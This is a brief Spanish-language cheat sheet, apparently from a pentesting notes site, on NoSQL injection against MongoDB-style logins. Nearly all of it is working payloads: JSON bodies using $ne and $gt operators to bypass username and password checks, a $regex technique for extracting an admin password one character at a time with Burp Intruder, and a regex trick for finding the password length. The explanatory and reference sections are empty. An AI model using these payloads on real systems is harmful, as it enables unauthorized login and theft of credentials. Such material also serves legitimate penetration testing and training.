NoSQL Injection
¿Qué es?
¿Cómo provar?
// En peticiones json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "admin"}, "password": {"$ne": "loquesea"}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
//Extraer información
// Ger Paswword
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} // Checar respuesta e ir iterando la m, se puede en burp intruder
// Para saber Tamaño de contrasela, jugar con regex.{number} hasta que deje de salir errores
{"username": {"$eq": "admin"}, "password": {"$regex": ".{30}" }}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}Laboratorio
Referencias
Última actualización